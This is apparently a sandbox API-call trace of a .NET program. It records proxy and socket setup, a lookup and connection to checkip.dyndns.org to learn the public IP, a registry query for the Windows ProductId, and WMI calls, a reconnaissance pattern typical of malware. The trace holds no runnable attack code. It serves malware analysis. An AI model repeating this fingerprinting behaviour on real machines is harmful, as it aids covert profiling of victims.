	[0128.276] CreateMutexW (lpMutexAttributes=0x259a098, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x398
	[0128.276] GetLastError () returned 0x0
	[0128.276] CloseHandle (hObject=0x398) returned 1
	[0128.276] GetLastError () returned 0x0
	[0128.276] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x259a81c, cbSid=0x2de198 | out: pSid=0x259a81c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x2de198) returned 1
	[0128.276] GetLastError () returned 0x0
	[0128.276] CreateMutexW (lpMutexAttributes=0x259a92c, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x398
	[0128.276] GetLastError () returned 0x0
	[0128.276] CloseHandle (hObject=0x398) returned 1
	[0128.276] GetLastError () returned 0x0
	[0128.276] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x259b0a8, cbSid=0x2de198 | out: pSid=0x259b0a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x2de198) returned 1
	[0128.276] GetLastError () returned 0x0
	[0128.277] CreateMutexW (lpMutexAttributes=0x259b1b8, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x398
	[0128.277] GetLastError () returned 0x0
	[0128.277] CloseHandle (hObject=0x398) returned 1
	[0128.277] GetLastError () returned 0x0
	[0128.278] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x398
	[0128.278] GetLastError () returned 0x0
	[0128.278] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3a4
	[0128.278] GetLastError () returned 0x0
	[0128.279] ioctlsocket (in: s=0x398, cmd=-2147195266, argp=0x2de3e4 | out: argp=0x2de3e4) returned 0
	[0128.279] GetLastError () returned 0x0
	[0128.279] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x3a8
	[0128.280] GetLastError () returned 0x0
	[0128.280] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3ac
	[0128.280] GetLastError () returned 0x0
	[0128.280] ioctlsocket (in: s=0x3a8, cmd=-2147195266, argp=0x2de3e4 | out: argp=0x2de3e4) returned 0
	[0128.280] GetLastError () returned 0x0
	[0128.281] WSAIoctl (in: s=0x398, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x2de3c8, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x2de3c8, lpOverlapped=0x0) returned -1
	[0128.281] GetLastError () returned 0x2733
	[0128.282] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x7c7738, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
	[0128.282] GetLastError () returned 0x2733
	[0128.283] WSAEventSelect (s=0x398, hEventObject=0x3a4, lNetworkEvents=512) returned 0
	[0128.283] GetLastError () returned 0x0
	[0128.283] WSAIoctl (in: s=0x3a8, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x2de3c8, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x2de3c8, lpOverlapped=0x0) returned -1
	[0128.283] GetLastError () returned 0x2733
	[0128.283] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x7c7738, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
	[0128.283] GetLastError () returned 0x2733
	[0128.283] WSAEventSelect (s=0x3a8, hEventObject=0x3ac, lNetworkEvents=512) returned 0
	[0128.283] GetLastError () returned 0x0
	[0128.283] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3b0
	[0128.283] GetLastError () returned 0x0
	[0128.284] RasConnectionNotificationW (param_1=0xffffffff, param_2=0x3b0, param_3=0x3) returned 0x0
	[0128.287] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x2de3ac | out: phkResult=0x2de3ac*=0x3c8) returned 0x0
	[0128.288] GetLastError () returned 0x0
	[0128.289] RegOpenKeyExW (in: hKey=0x3c8, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x2de368 | out: phkResult=0x2de368*=0x3cc) returned 0x0
	[0128.289] GetLastError () returned 0x0
	[0128.289] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3d0
	[0128.289] GetLastError () returned 0x0
	[0128.290] RegNotifyChangeKeyValue (hKey=0x3cc, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x3d0, fAsynchronous=1) returned 0x0
	[0128.290] GetLastError () returned 0x0
	[0128.291] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x2de368 | out: phkResult=0x2de368*=0x3d4) returned 0x0
	[0128.291] GetLastError () returned 0x0
	[0128.291] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3d8
	[0128.291] GetLastError () returned 0x0
	[0128.291] RegNotifyChangeKeyValue (hKey=0x3d4, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x3d8, fAsynchronous=1) returned 0x0
	[0128.291] GetLastError () returned 0x0
	[0128.291] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x2de368 | out: phkResult=0x2de368*=0x3dc) returned 0x0
	[0128.292] GetLastError () returned 0x0
	[0128.292] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3e0
	[0128.292] GetLastError () returned 0x0
	[0128.292] RegNotifyChangeKeyValue (hKey=0x3dc, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x3e0, fAsynchronous=1) returned 0x0
	[0128.292] GetLastError () returned 0x0
	[0128.292] GetCurrentProcess () returned 0xffffffff
	[0128.292] GetLastError () returned 0x3f0
	[0128.292] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2de350 | out: TokenHandle=0x2de350*=0x3e4) returned 1
	[0128.292] GetLastError () returned 0x3f0
	[0128.294] GetCurrentProcess () returned 0xffffffff
	[0128.294] GetLastError () returned 0x3f0
	[0128.294] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2ddf6c | out: TokenHandle=0x2ddf6c*=0x3e8) returned 1
	[0128.294] GetLastError () returned 0x3f0
	[0128.295] GetCurrentProcess () returned 0xffffffff
	[0128.295] GetLastError () returned 0x3f0
	[0128.295] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2ddf7c | out: TokenHandle=0x2ddf7c*=0x3ec) returned 1
	[0128.295] GetLastError () returned 0x3f0
	[0128.304] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x761030 | out: pProxyConfig=0x761030) returned 1
	[0128.348] GetLastError () returned 0x0
	[0128.359] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x2de2e4*=0x3b0, lpdwindex=0x2de09c | out: lpdwindex=0x2de09c) returned 0x80010115
	[0128.360] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x2de2c4*=0x3a4, lpdwindex=0x2de07c | out: lpdwindex=0x2de07c) returned 0x80010115
	[0128.360] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x2de2c4*=0x3ac, lpdwindex=0x2de07c | out: lpdwindex=0x2de07c) returned 0x80010115
	[0128.360] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x2de318*=0x3d0, lpdwindex=0x2de0d0 | out: lpdwindex=0x2de0d0) returned 0x80010115
	[0128.360] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x2de318*=0x3d8, lpdwindex=0x2de0d0 | out: lpdwindex=0x2de0d0) returned 0x80010115
	[0128.360] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x2de318*=0x3e0, lpdwindex=0x2de0d0 | out: lpdwindex=0x2de0d0) returned 0x80010115
	[0128.362] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x1, ppwstrAutoConfigUrl=0x2de304 | out: ppwstrAutoConfigUrl=0x2de304*=0x0) returned 0
	[0128.372] GetLastError () returned 0x2f94
	[0128.372] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x2, ppwstrAutoConfigUrl=0x2de304 | out: ppwstrAutoConfigUrl=0x2de304*=0x0) returned 0
	[0130.979] GetLastError () returned 0x2f94
	[0130.983] GetCurrentProcess () returned 0xffffffff
	[0130.983] GetLastError () returned 0x3f0
	[0130.983] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2ddfa4 | out: TokenHandle=0x2ddfa4*=0x450) returned 1
	[0130.983] GetLastError () returned 0x3f0
	[0130.984] GetCurrentProcess () returned 0xffffffff
	[0130.984] GetLastError () returned 0x3f0
	[0130.984] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2ddfb4 | out: TokenHandle=0x2ddfb4*=0x420) returned 1
	[0130.984] GetLastError () returned 0x3f0
	[0130.990] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x2de304 | out: pFixedInfo=0x0, pOutBufLen=0x2de304) returned 0x6f
	[0131.004] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x7d9350
	[0131.004] GetLastError () returned 0x0
	[0131.004] GetNetworkParams (in: pFixedInfo=0x7d9350, pOutBufLen=0x2de304 | out: pFixedInfo=0x7d9350, pOutBufLen=0x2de304) returned 0x0
	[0131.016] inet_addr (cp="192.168.0.1") returned 0x100a8c0
	[0131.016] GetLastError () returned 0x0
	[0131.018] LocalFree (hMem=0x7d9350) returned 0x0
	[0131.019] GetLastError () returned 0x0
	[0131.019] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x45c
	[0131.019] GetLastError () returned 0x0
	[0131.020] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x458
	[0131.020] GetLastError () returned 0x0
	[0131.022] getaddrinfo (in: pNodeName="checkip.dyndns.org", pServiceName=0x0, pHints=0x2de1e0*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x2ddf74 | out: ppResult=0x2ddf74*=0x4d449b8*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="checkip.dyndns.com", ai_addr=0x4d44a38*(sa_family=2, sin_port=0x0, sin_addr="216.146.43.70"), ai_next=0x4d44a50*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x4d44a78*(sa_family=2, sin_port=0x0, sin_addr="91.198.22.70"), ai_next=0x4d44a90*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x4d44ab8*(sa_family=2, sin_port=0x0, sin_addr="216.146.43.71"), ai_next=0x4d44ba8*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x4d44bd0*(sa_family=2, sin_port=0x0, sin_addr="216.146.38.70"), ai_next=0x0))))) returned 0
	[0131.114] GetLastError () returned 0x0
	[0131.115] FreeAddrInfoW (pAddrInfo=0x4d449b8*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="档捥楫⹰祤摮獮挮浯", ai_addr=0x4d44a38*(sa_family=2, sin_port=0x0, sin_addr="216.146.43.70"), ai_next=0x4d44a50*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x4d44a78*(sa_family=2, sin_port=0x0, sin_addr="91.198.22.70"), ai_next=0x4d44a90*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x4d44ab8*(sa_family=2, sin_port=0x0, sin_addr="216.146.43.71"), ai_next=0x4d44ba8*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x4d44bd0*(sa_family=2, sin_port=0x0, sin_addr="216.146.38.70"), ai_next=0x0))))) 
	[0131.115] GetLastError () returned 0x0
	[0131.115] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x460
	[0131.115] GetLastError () returned 0x0
	[0131.116] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x46c
	[0131.116] GetLastError () returned 0x0
	[0131.116] ioctlsocket (in: s=0x460, cmd=-2147195266, argp=0x2de1c4 | out: argp=0x2de1c4) returned 0
	[0131.116] GetLastError () returned 0x0
	[0131.116] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x470
	[0131.116] GetLastError () returned 0x0
	[0131.116] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x474
	[0131.116] GetLastError () returned 0x0
	[0131.116] ioctlsocket (in: s=0x470, cmd=-2147195266, argp=0x2de1c4 | out: argp=0x2de1c4) returned 0
	[0131.116] GetLastError () returned 0x0
	[0131.117] WSAIoctl (in: s=0x460, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x2de1a8, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x2de1a8, lpOverlapped=0x0) returned -1
	[0131.117] GetLastError () returned 0x2733
	[0131.117] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x7c7738, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
	[0131.117] GetLastError () returned 0x2733
	[0131.117] WSAEventSelect (s=0x460, hEventObject=0x46c, lNetworkEvents=512) returned 0
	[0131.117] GetLastError () returned 0x0
	[0131.117] WSAIoctl (in: s=0x470, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x2de1a8, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x2de1a8, lpOverlapped=0x0) returned -1
	[0131.117] GetLastError () returned 0x2733
	[0131.117] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x7c7738, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
	[0131.117] GetLastError () returned 0x2733
	[0131.117] WSAEventSelect (s=0x470, hEventObject=0x474, lNetworkEvents=512) returned 0
	[0131.117] GetLastError () returned 0x0
	[0131.118] GetAdaptersAddresses () returned 0x6f
	[0131.123] LocalAlloc (uFlags=0x0, uBytes=0xa54) returned 0x7d9a00
	[0131.123] GetLastError () returned 0x0
	[0131.123] GetAdaptersAddresses () returned 0x0
	[0131.130] LocalFree (hMem=0x7d9a00) returned 0x0
	[0131.130] GetLastError () returned 0x0
	[0131.133] WSAConnect (in: s=0x45c, name=0x25a3620*(sa_family=2, sin_port=0x50, sin_addr="216.146.43.70"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0
	[0131.179] GetLastError () returned 0x0
	[0131.180] closesocket (s=0x458) returned 0
	[0131.180] GetLastError () returned 0x0
	[0131.183] send (in: s=0x45c, buf=0x25a4f88*, len=68, flags=0 | out: buf=0x25a4f88*) returned 68
	[0131.184] GetLastError () returned 0x0
	[0131.184] setsockopt (s=0x45c, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0
	[0131.184] GetLastError () returned 0x0
	[0131.184] recv (in: s=0x45c, buf=0x25a05f8, len=4096, flags=0 | out: buf=0x25a05f8*) returned 262
	[0131.235] GetLastError () returned 0x0
	[0131.237] setsockopt (s=0x45c, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0
	[0131.237] GetLastError () returned 0x0
	[0131.270] shutdown (s=0x45c, how=2) returned 0
	[0131.270] GetLastError () returned 0x0
	[0131.270] closesocket (s=0x45c) returned 0
	[0131.270] GetLastError () returned 0x0
	[0131.320] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x2de56c | out: phkResult=0x2de56c*=0x45c) returned 0x0
	[0131.320] RegQueryValueExW (in: hKey=0x45c, lpValueName="ProductId", lpReserved=0x0, lpType=0x2de5b0, lpData=0x0, lpcbData=0x2de5ac*=0x0 | out: lpType=0x2de5b0*=0x0, lpData=0x0, lpcbData=0x2de5ac*=0x0) returned 0x2
	[0131.404] GetStockObject (i=5) returned 0x1900015
	[0131.404] GetLastError () returned 0x0
	[0131.404] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0131.445] RegisterClassW (lpWndClass=0x761048) returned 0xc1ae
	[0131.445] GetLastError () returned 0x0
	[0131.445] CoTaskMemFree (pv=0x7a04c8) 
	[0131.446] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0131.447] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.0.app.0.33c0d9d", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x4021e
	[0131.448] SetWindowLongW (hWnd=0x4021e, nIndex=-4, dwNewLong=2009146845) returned 3544274
	[0131.449] GetWindowLongW (hWnd=0x4021e, nIndex=-4) returned 2009146845
	[0131.451] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ddd44 | out: phkResult=0x2ddd44*=0x478) returned 0x0
	[0131.451] RegQueryValueExW (in: hKey=0x478, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x2ddd8c, lpData=0x0, lpcbData=0x2ddd88*=0x0 | out: lpType=0x2ddd8c*=0x0, lpData=0x0, lpcbData=0x2ddd88*=0x0) returned 0x2
	[0131.451] RegQueryValueExW (in: hKey=0x478, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x2ddd8c, lpData=0x0, lpcbData=0x2ddd88*=0x0 | out: lpType=0x2ddd8c*=0x0, lpData=0x0, lpcbData=0x2ddd88*=0x0) returned 0x2
	[0131.452] RegCloseKey (hKey=0x478) returned 0x0
	[0131.453] SetWindowLongW (hWnd=0x4021e, nIndex=-4, dwNewLong=3543818) returned 2009146845
	[0131.453] GetWindowLongW (hWnd=0x4021e, nIndex=-4) returned 3543818
	[0131.453] GetWindowLongW (hWnd=0x4021e, nIndex=-16) returned 79691776
	[0131.549] CallWindowProcW (lpPrevWndFunc=0x77c125dd, hWnd=0x4021e, Msg=0x24, wParam=0x0, lParam=0x2de020) returned 0x0
	[0131.549] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc1af
	[0131.549] CallWindowProcW (lpPrevWndFunc=0x77c125dd, hWnd=0x4021e, Msg=0x81, wParam=0x0, lParam=0x2de014) returned 0x1
	[0131.550] CallWindowProcW (lpPrevWndFunc=0x77c125dd, hWnd=0x4021e, Msg=0x83, wParam=0x0, lParam=0x2de000) returned 0x0
	[0131.553] CallWindowProcW (lpPrevWndFunc=0x77c125dd, hWnd=0x4021e, Msg=0x1, wParam=0x0, lParam=0x2de014) returned 0x0
	[0131.553] GetLastError () returned 0x0

Thread:
	id = 48
	os_tid = 0xa1c


Thread:
	id = 49
	os_tid = 0xa20

	[0117.664] CoGetContextToken (in: pToken=0x461f908 | out: pToken=0x461f908) returned 0x800401f0
	[0117.664] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0

Thread:
	id = 53
	os_tid = 0xa30


Thread:
	id = 54
	os_tid = 0xa34


Thread:
	id = 55
	os_tid = 0xa38


Thread:
	id = 56
	os_tid = 0xa3c


Thread:
	id = 101
	os_tid = 0xa80

	[0124.464] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0124.496] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x4feed34 | out: lpiid=0x4feed34) returned 0x0
	[0124.496] CoGetClassObject (in: rclsid=0x7aa204*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x6f11a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x4feec9c | out: ppv=0x4feec9c*=0x50afce8) returned 0x0
	[0124.496] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afce8, riid=0x6f207ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x4feeacc | out: ppvObject=0x4feeacc*=0x0) returned 0x80004002
	[0124.496] WbemDefPath:IClassFactory:CreateInstance (in: This=0x50afce8, pUnkOuter=0x0, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4feeb04 | out: ppvObject=0x4feeb04*=0x50afcf8) returned 0x0
	[0124.496] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afcf8, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4fee8a8 | out: ppvObject=0x4fee8a8*=0x50afcf8) returned 0x0
	[0124.497] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afcf8, riid=0x6f1b4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x4fee864 | out: ppvObject=0x4fee864*=0x0) returned 0x80004002
	[0124.497] WbemDefPath:IUnknown:AddRef (This=0x50afcf8) returned 0x3
	[0124.497] CoGetContextToken (in: pToken=0x4fee6f0 | out: pToken=0x4fee6f0) returned 0x0
	[0124.497] CoGetObjectContext (in: riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x7904dc | out: ppv=0x7904dc*=0x757a88) returned 0x0
	[0124.498] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afcf8, riid=0x6f0923cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4fee6d8 | out: ppvObject=0x4fee6d8*=0x783d68) returned 0x0
	[0124.498] IMarshal:GetUnmarshalClass (in: This=0x783d68, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x4fee6e0 | out: pCid=0x4fee6e0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0124.498] IUnknown:Release (This=0x783d68) returned 0x3
	[0124.499] CoGetContextToken (in: pToken=0x4fee6e8 | out: pToken=0x4fee6e8) returned 0x0
	[0124.499] WbemDefPath:IUnknown:AddRef (This=0x50afcf8) returned 0x4
	[0124.499] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afcf8, riid=0x6f0e767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4fee75c | out: ppvObject=0x4fee75c*=0x0) returned 0x80004002
	[0124.499] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x3
	[0124.499] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x2
	[0124.499] WbemDefPath:IUnknown:Release (This=0x50afce8) returned 0x0
	[0124.499] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x1
	[0124.499] SetEvent (hEvent=0x274) returned 1
	[0124.500] GetLastError () returned 0x0
	[0124.501] CoGetClassObject (in: rclsid=0x7aa204*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x6f11a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x4feec9c | out: ppv=0x4feec9c*=0x50afce8) returned 0x0
	[0124.501] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afce8, riid=0x6f207ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x4feeacc | out: ppvObject=0x4feeacc*=0x0) returned 0x80004002
	[0124.501] WbemDefPath:IClassFactory:CreateInstance (in: This=0x50afce8, pUnkOuter=0x0, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4feeb04 | out: ppvObject=0x4feeb04*=0x50afd90) returned 0x0
	[0124.501] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afd90, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4fee8a8 | out: ppvObject=0x4fee8a8*=0x50afd90) returned 0x0
	[0124.501] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afd90, riid=0x6f1b4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x4fee864 | out: ppvObject=0x4fee864*=0x0) returned 0x80004002
	[0124.501] WbemDefPath:IUnknown:AddRef (This=0x50afd90) returned 0x3
	[0124.501] CoGetContextToken (in: pToken=0x4fee6f0 | out: pToken=0x4fee6f0) returned 0x0
	[0124.501] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afd90, riid=0x6f0923cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4fee6d8 | out: ppvObject=0x4fee6d8*=0x783b68) returned 0x0
